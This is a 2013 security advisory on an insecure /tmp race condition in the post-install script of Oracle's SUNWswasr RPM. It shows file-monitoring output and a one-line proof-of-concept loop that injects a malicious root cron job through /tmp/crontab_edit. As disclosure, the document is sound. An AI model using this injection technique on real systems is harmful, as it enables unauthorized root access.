Advisory #: 11
Title: SUNWswasr RPM post install /tmp race condition
Author: Larry W. Cashdollar, @_larry0
Date: 2013-01-31
CVE-ID:[CVE-none]
CWE:
Download Site: https://updates.oracle.com/Orion/Services/download?type=readme&aru=15864534
Vendor: Oracle Systems
Vendor Notified: 2013-01-31
Vendor Contact: bugtraq email
Advisory: http://www.vapid.dhs.org/advisories/Oracle_ASR_4.3.1-root-install.html
Description: Auto Service Request (ASR) is a secure, scalable, customer-installable software feature of warranty and Oracle Support Services that provides auto-case generation when common hardware component faults occur. ASR is designed to enable faster problem resolution by eliminating the need to initiate contact with Oracle Support Services for common hardware component failures, reducing both the number of phone calls needed and overall phone time required. ASR also simplifies support operations by using electronic diagnostic data. Easily installed and deployed, ASR is completely controlled by you, the customer, to ensure security. ASR is applicable only for component faults. Not all component failures are covered, though the most common components (such as disk, fan, and power supplies) are covered.
Vulnerability:
The post-install script for SUNWswasr RPM handles files in /tmp insecurely. I suspect a race condition exists where these two files can be used to either clobber root owned files or inject malicious cronjobs into roots cron: /tmp/tmpVariable /tmp/crontab_edit [root@oracle-lnx-lab02 ~]# rpm -Uvh SUNWswasr-4.3.1-20130117131218.rpm Preparing... ########################################### [100%] Copyright [2008,2012], Oracle and/or its affiliates. All rights reserved. License and Terms of Use for this software are described at https://support.oracle.com/ (see Legal Notices and Terms of Use). 1:SUNWswasr ########################################### [100%] Directory /var/opt/SUNWsasm/configuration/caseinfo created. Directory /var/opt/SUNWsasm/configuration/supportfile created. ASR Manager Auto Update functionality has been enabled by default. Please ensure that ASR manager is registered with ASR backend to get the software updates. Installation of SUNWswasr was successful. Lets fireup fsnoop[1] and take a look: [C] -rw-r--r-- 1 root root 0 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit [U] -rw-r--r-- 1 root root 100 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit [C] -rw-r--r-- 1 root root 0 Thu Jan 31 14:30:12 2013 /tmp/tmpVariable [U] -rw-r--r-- 1 root root 2 Thu Jan 31 14:30:12 2013 /tmp/tmpVariable [U] -rw-r--r-- 1 root root 101 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit [U] -rw-r--r-- 1 root root 143 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit [U] -rw-r--r-- 1 root root 188 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit [D] F /tmp/tmpVariable [D] F /tmp/crontab_edit
Export: JSON TEXT XML
Exploit Code:
  1. I was able to inject my own cronjob in as root with the following simple PoC:
  2.  
  3. $ while (true) ;do echo "* * * * * /tmp/rootme" >> /tmp/crontab_edit; done
  4.  
  5. [root@oracle-lnx-lab02 ~]# crontab -l
  6. 0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1
  7.  
  8. * * * * * /tmp/rootme <--- prepended and contains our malicious shell/binary, see exploit above.
  9. ##Cronjob entry for ASR Auto Rules Update 
  10. 7 3 * * * /opt/SUNWswasr/bin/update_rules.sh
  11.  
  12. The uninstall script is just as sloppy:
  13.  
  14. [C] F /tmp/asrtab.??
  15. [U] F /tmp/asrtab.??
  16. [C] F /tmp/asrtab.???
  17. [U] F /tmp/asrtab.???
  18. [C] F /tmp/asrtab.???
  19. [U] F /tmp/asrtab.???
  20. [D] F /tmp/asrtab.??
  21.  
  22. did they mean to use $$ for process Pid?
  23.  
Screen Shots:
Notes: 
89823